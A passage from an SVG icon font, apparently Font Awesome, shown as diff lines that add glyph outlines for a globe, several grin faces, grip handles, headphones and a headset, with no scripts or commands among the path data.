11.5801l-15.5898 31.1904 +c-0.535156 1.07324 -0.842773 2.29297 -0.842773 3.57324c0 2.24805 0.928711 4.28125 2.42285 5.73633l9.91992 9.65039c1.5 1.45996 3.5 2.26953 5.58008 2.26953h8.99023l0.00390625 -0.000976562c2.20703 0 4.20703 0.894531 5.65527 2.34082l8 8 +c3.12012 3.12012 3.12012 8.19043 0 11.3105l-4.68945 4.68945c-3.12012 3.12012 -3.12012 8.19043 0 11.3105l10.3398 10.3398l4.69043 4.67969c6.25 6.25 6.25 16.3799 0 22.6299l-28.3008 28.3008c-8.26953 -0.310547 -16.3994 -1.12988 -24.3896 -2.41992v-11.3008 +c0 -11.8994 -12.5195 -19.6299 -23.1602 -14.3096l-24.0098 12.0098c-45.8398 -19.8496 -82.7305 -56.3896 -103.2 -101.89c9.92969 -14.7197 25.21 -37.3701 34.5898 -51.1406c5.20605 -7.66895 11.2012 -14.5479 18.0605 -20.7393l0.799805 -0.720703 +c9.5498 -8.60938 20.1699 -15.9697 31.6504 -21.75c14 -7.0498 34.4395 -18.1592 48.8096 -26.1094c10.1904 -5.62988 16.46 -16.3301 16.46 -27.9707v-32.0098c0 -8.49023 3.37012 -16.6299 9.37012 -22.6299c14.9902 -14.9902 24.3203 -38.6299 22.6299 -51.25v-27.3799 +c14.6504 0 28.8896 1.69043 42.6504 4.69043l17.3896 46.8496c2.04004 5.49023 3.25977 11.21 4.76953 16.8701c1.07031 4.00977 3.18066 7.70996 6.1709 10.71c3.31934 3.33008 7.40918 7.39941 11.3096 11.2803zM417 173.75l29.1797 -7.29004 +c1.08008 8.37988 1.82031 16.8701 1.82031 25.54c0 32.1299 -7.7998 62.4102 -21.3203 89.3301l-12.9795 -6.49023c-3.74023 -1.85938 -6.91992 -4.67969 -9.24023 -8.14941l-19.5898 -29.3809c-2.54004 -3.80371 -4.02051 -8.4209 -4.02051 -13.334 +c0 -4.91211 1.48047 -9.48145 4.02051 -13.2852l17.9795 -26.9707c3.31055 -4.96973 8.36035 -8.51953 14.1504 -9.96973z" /> + <glyph glyph-name="globe-asia" unicode="" horiz-adv-x="496" +d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM236.66 199.77l17.3701 28.9502c1.7998 2.99023 6.2002 2.82031 7.75977 -0.299805c1.34961 -2.70996 4.12012 -4.41992 7.15039 -4.41992h3.05957 +c4.41992 0 8 3.58008 8 8v78.1201c0 6.05957 -3.41992 11.5996 -8.83984 14.3096l-10.8301 5.41016c-5.49023 2.75 -5.96973 10.4004 -0.860352 13.8105l50.1602 38.5293c-19.4297 6.31055 -40.1201 9.82031 -61.6299 9.82031c-110.28 0 -200 -89.7197 -200 -200 +c0 -10.9199 1.12012 -21.5498 2.80957 -31.9902h62.5703c4.24023 0 8.31055 1.69043 11.3105 4.69043l19.4697 19.46c3.85938 3.85938 10.3701 2.7998 12.8096 -2.08008l22.6201 -45.2305c2.70996 -5.42969 8.25 -8.84961 14.3105 -8.84961h6.10938 +c8.83984 0 16 7.16016 16 16v9.37012c0 4.24023 -1.68945 8.30957 -4.68945 11.3096l-5.66016 5.66016c-3.12012 3.12012 -3.12012 8.19043 0 11.3105l5.66016 5.65918c3 3 7.06934 4.69043 11.3096 4.69043h0.310547c5.61914 0 10.8291 2.9502 13.7197 7.76953z +M408 89.5703l-0.00976562 24.5996c0 4.24023 -1.69043 8.31055 -4.69043 11.3105l-11.9102 11.9092c-1.5 1.5 -2.33984 3.54004 -2.33984 5.66016v12.9307c0 2.20996 -1.79004 4 -4 4h-6.05957c-1.78027 0 -3.33984 -1.1709 -3.83984 -2.88086l-4.2002 -14.4697 +c-0.490234 -1.7002 -2.06055 -2.87988 -3.83984 -2.87988h-3.80078c-1.66211 0.000976562 -3.08691 1.01465 -3.68945 2.45996l-5.35059 12.8496c-1.23926 2.99023 -4.15918 4.93066 -7.38965 4.93066h-12.0898 +c-0.00390625 0 -0.0146484 -0.00488281 -0.0185547 -0.00488281c-1.72168 0 -3.31738 -0.545898 -4.62109 -1.47559l-23.71 -16.8896c-1.73047 -1.23047 -3.61035 -2.25977 -5.59082 -3.0498l-39.3398 -15.7402c-3.04004 -1.21973 -5.0293 -4.16016 -5.0293 -7.42969 +v-10.2002l-0.00195312 -0.00390625c0 -2.20703 0.895508 -4.20703 2.3418 -5.65625l11.9102 -11.9102c3 -3 7.06934 -4.68945 11.3096 -4.68945h10.3398c1.31055 0 2.61035 0.15918 3.87988 0.479492l21.2705 5.32031c2.08203 0.520508 4.25391 0.802734 6.49707 0.802734 +c7.38574 0 14.0771 -2.99805 18.9229 -7.84277l13.0098 -13.0098c3 -3 7.07031 -4.69043 11.3096 -4.69043h15.1602c4.24023 0 8.31055 1.69043 11.3105 4.69043l9.56934 9.56934c3 3 4.69043 7.07031 4.69043 11.3105z" /> + <glyph glyph-name="grimace" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM144 48v40h-40v-8c0 -17.7002 14.2998 -32 32 -32h8zM144 104v40h-8c-17.7002 0 -32 -14.2998 -32 -32v-8h40zM136 240c0 -17.7002 14.2998 -32 32 -32s32 14.2998 32 32 +s-14.2998 32 -32 32s-32 -14.2998 -32 -32zM208 48v40h-48v-40h48zM208 104v40h-48v-40h48zM272 48v40h-48v-40h48zM272 104v40h-48v-40h48zM336 48v40h-48v-40h48zM336 104v40h-48v-40h48zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32 +s14.2998 -32 32 -32zM392 80v8h-40v-40h8c17.7002 0 32 14.2998 32 32zM392 104v8c0 17.7002 -14.2998 32 -32 32h-8v-40h40z" /> + <glyph glyph-name="grin" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM168 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32 +s32 14.2998 32 32s-14.2998 32 -32 32zM248 16c60.5996 0 134.5 38.2998 143.8 93.2998c1.90039 11.7998 -9.39941 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002 +c-11.4004 3.7002 -22.7002 -6.10059 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" /> + <glyph glyph-name="grin-alt" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM311.7 311.3c-12.4004 -18.3994 -15.2002 -36.8994 -15.7002 -55.2998c0.599609 -18.4004 3.2998 -36.9004 15.7002 -55.2998c8 -11.7002 25.0996 -11.4004 32.7002 0 +c12.3994 18.3994 15.1992 36.8994 15.6992 55.2998c-0.599609 18.4004 -3.2998 36.9004 -15.6992 55.2998c-8 11.7002 -25.1006 11.4004 -32.7002 0zM151.7 311.3c-12.4004 -18.3994 -15.2002 -36.8994 -15.7002 -55.2998 +c0.599609 -18.4004 3.2998 -36.9004 15.7002 -55.2998c8 -11.7002 25.0996 -11.4004 32.7002 0c12.3994 18.3994 15.1992 36.8994 15.6992 55.2998c-0.599609 18.4004 -3.2998 36.9004 -15.6992 55.2998c-8 11.7002 -25.1006 11.4004 -32.7002 0zM248 16 +c60.5996 0 134.5 38.2998 143.8 93.2998c1.90039 11.7998 -9.2998 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.4004 3.7002 -22.7002 -6.10059 -20.7002 -17.9004 +c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" /> + <glyph glyph-name="grin-beam" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 296c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7998 -11.7998 14.8994 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006 +c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17c4.10059 -7.39941 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM168 296c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7002 -11.8994 14.8994 -4.5l9.5 17 +c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17c4.10059 -7.39941 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM248 16c60.5996 0 134.5 38.2998 143.8 93.2998 +c1.90039 11.7998 -9.2998 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.3008 3.7002 -22.7002 -6 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" /> + <glyph glyph-name="grin-beam-sweat" unicode="" horiz-adv-x="504" +d="M456 320c-26.5 0 -48 21 -48 47c0 20 28.5 60.4004 41.5996 77.7998c3.2002 4.2998 9.60059 4.2998 12.8008 0c13.0996 -17.3994 41.5996 -57.7998 41.5996 -77.7998c0 -26 -21.5 -47 -48 -47zM456 288c6.7998 0 13.2002 1.09961 19.5 2.59961 +c13.0996 -30.1992 20.5 -63.5 20.5 -98.5996c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248c50.2998 0 97 -15.0996 136.1 -40.7998c-7.7998 -18 -8.09961 -27.7998 -8.09961 -32.2002c0 -43.5996 35.9004 -79 80 -79zM328 296 +c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7998 -11.8994 14.8994 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17c4.10059 -7.5 15.6006 -4.09961 14.9004 4.5 +c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM168 296c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7002 -11.8994 14.8994 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17 +c4.10059 -7.5 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM248 16c60.5996 0 134.5 38.2998 143.8 93.2998c1.90039 11.7002 -9.2002 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002 +s-92.9004 5.5 -123.1 15.2002c-11.4004 3.7002 -22.7002 -6.10059 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" /> + <glyph glyph-name="grin-hearts" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM90.4004 264.4c-7.7002 -20.2002 3.7998 -41.8008 24.1992 -47.2002l70.2002 -18.2002c4.60059 -1.2002 9.2998 1.5 10.5 6l19.4004 69.9004 +c5.59961 20.2998 -7.40039 41.0996 -28.7998 44.5c-18.7002 3 -36.5 -9.80078 -41.5 -27.9004l-2 -7.09961l-7.10059 1.89941c-18.2002 4.7998 -38.2002 -4.2998 -44.8994 -21.8994zM248 16c60.5996 0 134.5 38.2998 143.8 93.2998 +c1.90039 11.7998 -9.2998 21.5 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.5 3.59961 -22.7002 -6.10059 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998zM381.4 217.3 +c20.3994 5.2998 31.8994 26.9004 24.1992 47.2002c-6.69922 17.5996 -26.6992 26.5996 -44.8994 21.9004l-7.10059 -1.90039l-2 7.09961c-5.09961 18.1006 -22.8994 30.9004 -41.5 27.9004c-21.3994 -3.40039 -34.3994 -24.2002 -28.7998 -44.5l19.4004 -69.9004 +c1.2998 -4.5 6 -7.19922 10.5 -6z" /> + <glyph glyph-name="grin-squint" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM281.8 250.3c-7.7002 -4.7002 -7.7002 -15.8994 0 -20.5996l80 -48c11.5 -6.7998 24.1006 7.59961 15.4004 18l-33.6006 40.2998l33.6006 40.2998 +c8.59961 10.2998 -3.7998 24.9004 -15.4004 18zM118.8 280.3l33.6006 -40.2998l-33.6006 -40.2998c-8.59961 -10.4004 3.90039 -24.7998 15.4004 -18l80 48c7.7998 4.7002 7.7998 15.8994 0 20.5996l-80 48c-11.6006 6.90039 -24 -7.7002 -15.4004 -18zM248 16 +c60.5996 0 134.5 38.2998 143.8 93.2998c1.90039 11.7002 -9.2002 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.3008 3.7002 -22.7002 -6 -20.7002 -17.9004 +c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" /> + <glyph glyph-name="grin-squint-tears" unicode="" +d="M409.6 336.1c-5.59961 -0.799805 -10.2998 3.90039 -9.5 9.40039c3.30078 22.5996 12 73.5 26.8008 88.2998c19.0996 19.2002 50.6992 18.9004 70.2998 -0.700195c19.5996 -19.5996 19.8994 -51 0.700195 -70.1992 +c-14.8008 -14.8008 -65.7002 -23.6006 -88.3008 -26.8008zM102.4 47.9004c5.59961 0.799805 10.2998 -3.90039 9.5 -9.40039c-3.30078 -22.5996 -12 -73.5 -26.8008 -88.2998c-19.1992 -19.2002 -50.5996 -18.9004 -70.1992 0.700195 +c-19.6006 19.5996 -19.9004 51.0996 -0.800781 70.1992c14.8008 14.8008 65.7002 23.6006 88.3008 26.8008zM414.1 304.4c24 3.5 42.1006 7.39941 56.5 11.5c54.8008 -94.9004 42 -218.2 -39.1992 -299.301c-81.2002 -81.0996 -204.5 -94 -299.301 -39.1992 +c4.10059 14.3994 8.10059 32.5 11.5 56.5c2.90039 20.5 -12.5 49.5996 -45.6992 45.6992c-24.1006 -3.5 -42.1006 -7.39941 -56.5 -11.5c-54.8008 94.9004 -41.9004 218.2 39.1992 299.301c81.2002 81.0996 204.5 94 299.301 39.1992 +c-4.10059 -14.3994 -8.10059 -32.5 -11.5 -56.5c-2.90039 -20.5996 12.6992 -49.5996 45.6992 -45.6992zM255.7 342l-22.5 -90.5996c-2.2002 -8.60059 5.59961 -16.7002 14.5 -14.5l90.5 22.5996c13.0996 3.2998 11.5996 22.4004 -1.7998 23.5996l-52.3008 4.80078 +l-4.7998 52.2998c-1.2002 13.2998 -20.2998 15 -23.5996 1.7998zM164.8 111.7c1.2998 -13.4004 20.4004 -14.9004 23.5 -1.7002l22.6006 90.5c2.19922 8.7002 -5.7002 16.7002 -14.5 14.5l-90.5 -22.5996c-13.1006 -3.30078 -11.6006 -22.4004 1.7998 -23.6006 +l52.2998 -4.7998zM380.5 67.5c42.7998 42.9004 68 122.3 35.7002 167.6c-7.10059 9.90039 -21.9004 8.5 -27.2998 -2c-14.6006 -28.1992 -42.4004 -63.8994 -76.3008 -97.7998c-33.8994 -33.8994 -69.5 -61.7002 -97.7998 -76.2998 +c-10.7002 -5.40039 -11.7998 -20.2998 -2 -27.2002c14.4004 -10.2002 32.1006 -14.7002 51 -14.7002c41 0 87.4004 21.1006 116.7 50.4004z" /> + <glyph glyph-name="grin-stars" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM94.5996 279.1c-6.19922 -1 -8.89941 -8.59961 -4.2998 -13.2998l25.4004 -24.5996l-6 -34.9004c-1 -6.2002 5.2998 -11 11 -7.89941l31.2998 16.2998l31.2002 -16.2002 +c5.7002 -3.09961 12 1.7002 11 7.90039l-6 34.8994l25.3994 24.6006c4.60059 4.59961 1.90039 12.1992 -4.2998 13.1992l-34.8994 5l-15.5 31.6006c-2.90039 5.7998 -11 5.7998 -13.9004 0l-15.5 -31.6006zM248 16c60.5996 0 134.5 38.2998 143.8 93.2998 +c1.90039 11.7998 -9.2002 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.4004 3.59961 -22.7002 -6.10059 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998zM405.7 265.9 +c4.59961 4.59961 1.89941 12.1992 -4.40039 13.0996l-34.8994 5l-15.5 31.5996c-2.90039 5.80078 -11 5.80078 -13.9004 0l-15.5 -31.5996l-34.9004 -5c-6.19922 -1 -8.7998 -8.59961 -4.2998 -13.2002l25.4004 -24.5996l-6 -34.9004c-1 -6.2002 5.2998 -11 11 -7.89941 +l31.2998 16.2998l31.2998 -16.2002c5.7002 -3.09961 12 1.7002 11 7.90039l-6 34.8994z" /> + <glyph glyph-name="grin-tears" unicode="" horiz-adv-x="640" +d="M102.4 191.9c5.59961 0.799805 10.2998 -3.90039 9.5 -9.40039c-3.30078 -22.5996 -12 -73.5 -26.8008 -88.2998c-19.1992 -19.2002 -50.5996 -18.9004 -70.1992 0.700195c-19.6006 19.5996 -19.9004 51.0996 -0.800781 70.1992 +c14.8008 14.8008 65.7002 23.6006 88.3008 26.8008zM625.8 165.1c19.2002 -19.0996 18.7998 -50.6992 -0.799805 -70.2998c-19.5996 -19.5996 -51 -19.8994 -70.2002 -0.700195c-14.7998 14.8008 -23.5996 65.7002 -26.7998 88.3008c-0.799805 5.59961 4 10.2998 9.5 9.5 +c22.5996 -3.30078 73.5 -12 88.2998 -26.8008zM496.4 177.9c11.7998 -82.3008 29.8994 -100.4 35.7998 -106.301c0.899414 -1 2 -1.59961 3 -2.5c-42.7002 -74.6992 -123 -125.1 -215.2 -125.1s-172.5 50.4004 -215.2 125c1 0.900391 2.10059 1.59961 3 2.5 +c5.90039 6 24 24.0996 35.7998 106.4c2.90039 20.3994 -12.5 49.5996 -45.6992 45.6992c-8.90039 -1.2998 -16.8008 -2.69922 -24.3008 -4.09961c13.7002 124 118.7 220.5 246.4 220.5s232.7 -96.5 246.4 -220.5c-7.5 1.40039 -15.4004 2.7998 -24.3008 4.09961 +c-26.5996 3.80078 -49.5 -19.0996 -45.6992 -45.6992zM400 296c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7002 -11.8994 14.8994 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17 +c4.10059 -7.5 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM240 296c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7002 -11.8994 14.8994 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006 +c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17c4.10059 -7.5 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM320 16c60.5996 0 134.5 38.2998 143.8 93.2998c1.90039 11.7998 -9.2998 21.6006 -20.7002 17.9004 +c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.5 3.7002 -22.7002 -6.2002 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" /> + <glyph glyph-name="grin-tongue" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248c0 -106.3 -67 -196.7 -161 -232c5.59961 12.2002 9 25.7002 9 40v45.5c24.7002 16.2002 43.5 38.0996 47.7998 63.7998c1.90039 11.7998 -9.2998 21.5 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002 +s-92.9004 5.5 -123.1 15.2002c-11.4004 3.59961 -22.7002 -6.10059 -20.7002 -17.9004c4.2998 -25.7002 23.0996 -47.5996 47.7998 -63.7998v-45.5c0 -14.2998 3.40039 -27.7998 9 -40c-94 35.2998 -161 125.7 -161 232c0 137 111 248 248 248zM168 208 +c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM293.1 73.4004c0.800781 -0.400391 -0.5 0.299805 19 -9.30078v-64 +c0 -35.5996 -29.1992 -64.5 -64.8994 -64c-35.1006 0.400391 -63.1006 29.7002 -63.1006 64.9004v63c19.2002 9.59961 18 9 18.9004 9.40039c14.4004 6.5 31.0996 -2.2002 34.5996 -17.6006l1.80078 -7.7998c2.09961 -9.2002 15.1992 -9.2002 17.2998 0l1.7998 7.7998 +c3.5 15.4004 20.2002 24.1006 34.5996 17.6006z" /> + <glyph glyph-name="grin-tongue-squint" unicode="" horiz-adv-x="496" +d="M293.1 73.4004c0.800781 -0.400391 -0.5 0.299805 19 -9.30078v-64c0 -35.5996 -29.1992 -64.5 -64.8994 -64c-35.1006 0.400391 -63.1006 29.7002 -63.1006 64.9004v63c19.2002 9.59961 18 9 18.9004 9.40039c14.4004 6.5 31.0996 -2.2002 34.5996 -17.6006 +l1.80078 -7.7998c2.09961 -9.2002 15.1992 -9.2002 17.2998 0l1.7998 7.7998c3.5 15.4004 20.2002 24.1006 34.5996 17.6006zM248 440c137 0 248 -111 248 -248c0 -106.3 -67 -196.7 -161 -232c5.59961 12.2002 9 25.7002 9 40v45.5 +c24.7002 16.2002 43.5 38.0996 47.7998 63.7998c1.90039 11.7998 -9.2998 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.5 3.59961 -22.7002 -6.10059 -20.7002 -17.9004 +c4.2998 -25.7002 23.0996 -47.5996 47.7998 -63.7998v-45.5c0 -14.2998 3.40039 -27.7998 9 -40c-94 35.2998 -161 125.7 -161 232c0 137 111 248 248 248zM214.2 229.7c7.7002 4.7002 7.7002 15.8994 0 20.5996l-80 48c-11.6006 6.90039 -24 -7.7002 -15.4004 -18 +l33.6006 -40.2998l-33.6006 -40.2998c-8.59961 -10.4004 3.90039 -24.7998 15.4004 -18zM377.2 199.7l-33.6006 40.2998l33.6006 40.2998c8.5 10.2998 -3.7002 24.9004 -15.4004 18l-80 -48c-7.7998 -4.7002 -7.7998 -15.8994 0 -20.5996l80 -48 +c11.5 -6.7998 24.1006 7.59961 15.4004 18z" /> + <glyph glyph-name="grin-tongue-wink" unicode="" horiz-adv-x="496" +d="M344 264c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM248 440c137 0 248 -111 248 -248c0 -106.3 -67 -196.7 -161 -232c5.59961 12.2002 9 25.7002 9 40v45.5c24.7002 16.2002 43.5 38.0996 47.7998 63.7998 +c1.90039 11.7998 -9.2002 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.4004 3.59961 -22.7002 -6.10059 -20.7002 -17.9004c4.2998 -25.7002 23.0996 -47.5996 47.7998 -63.7998v-45.5 +c0 -14.2998 3.40039 -27.7998 9 -40c-94 35.2998 -161 125.7 -161 232c0 137 111 248 248 248zM192 215c8.40039 -7.40039 21.5996 -0.299805 20 10.7998c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006 +c-1.7998 -11.0996 11.2998 -18.2002 19.7998 -10.7998l9.5 8.5c14.7998 13.2002 46.2002 13.2002 61 0zM344 176c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64s-64 -28.7002 -64 -64s28.7002 -64 64 -64zM293.1 73.4004c0.800781 -0.400391 -0.5 0.299805 19 -9.30078 +v-64c0 -35.5996 -29.1992 -64.5 -64.8994 -64c-35.1006 0.400391 -63.1006 29.7002 -63.1006 64.9004v63c19.2002 9.59961 18 9 18.9004 9.40039c14.4004 6.5 31.0996 -2.2002 34.5996 -17.6006l1.80078 -7.7998c2.09961 -9.2002 15.1992 -9.2002 17.2998 0l1.7998 7.7998 +c3.5 15.4004 20.2002 24.1006 34.5996 17.6006z" /> + <glyph glyph-name="grin-wink" unicode="" horiz-adv-x="496" +d="M0 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM200 240c0 17.7002 -14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32zM368 215c8.5 -7.40039 21.5996 -0.200195 20 10.7998 +c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006c-1.7998 -11.2002 11.5 -18.2002 19.7998 -10.7998l9.5 8.5c14.7998 13.2002 46.2002 13.2002 61 0zM124.9 127.2c-11.4004 3.7002 -22.7002 -6 -20.7002 -17.9004 +c9.2998 -55 83.2002 -93.2998 143.8 -93.2998s134.6 38.2998 143.8 93.2998c1.90039 11.9004 -9.39941 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002z" /> + <glyph glyph-name="grip-horizontal" unicode="" horiz-adv-x="448" +d="M96 160c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM256 160c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64 +c0 17.6699 14.3301 32 32 32h64zM416 160c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM96 352c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64 +c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM256 352c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM416 352c17.6699 0 32 -14.3301 32 -32v-64 +c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64z" /> + <glyph glyph-name="grip-vertical" unicode="" horiz-adv-x="320" +d="M96 416c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM96 256c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64 +c0 17.6699 14.3301 32 32 32h64zM96 96c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM288 416c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64 +c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM288 256c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM288 96c17.6699 0 32 -14.3301 32 -32v-64 +c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64z" /> + <glyph glyph-name="headphones-alt" unicode="" +d="M160 160c17.6699 0 32 -14.3496 32 -32.0596v-127.881c0 -17.6992 -14.3301 -32.0596 -32 -32.0596h-16c-35.3496 0 -64 28.71 -64 64.1201v63.7598c0 35.4199 28.6504 64.1201 64 64.1201h16zM368 160c35.3496 0 64 -28.71 64 -64.1201v-63.7598 +c0 -35.4102 -28.6504 -64.1201 -64 -64.1201h-16c-17.6699 0 -32 14.3604 -32 32.0596v127.881c0 17.71 14.3301 32.0596 32 32.0596h16zM256 416c143.09 0 251.43 -119.13 256 -256v-112c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v112 +c0 114.67 -93.3301 207.8 -208 207.82c-114.67 -0.0205078 -208 -93.1504 -208 -207.82v-112c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v112c4.57031 136.87 112.91 256 256 256z" /> + <glyph glyph-name="headset" unicode="" +d="M192 240v-112c0 -17.6699 -14.3301 -32 -32 -32h-16c-35.3496 0 -64 28.6504 -64 64v48c0 35.3496 28.6504 64 64 64h16c17.6699 0 32 -14.3301 32 -32zM368 96h-16c-17.6699 0 -32 14.3301 -32 32v112c0 17.6699 14.3301 32 32 32h16c35.3496 0 64 -28.6504 64 -64v-48 +c0 -35.3496 -28.6504 -64 -64 -64zM256 448c142.82 0 251.42 -118.83 256 -256v-165.72c0 -49.8604 -40.4199 -90.2803 -90.2803 -90.2803h-181.72c-26.5098 0 -48 21.4902 -48 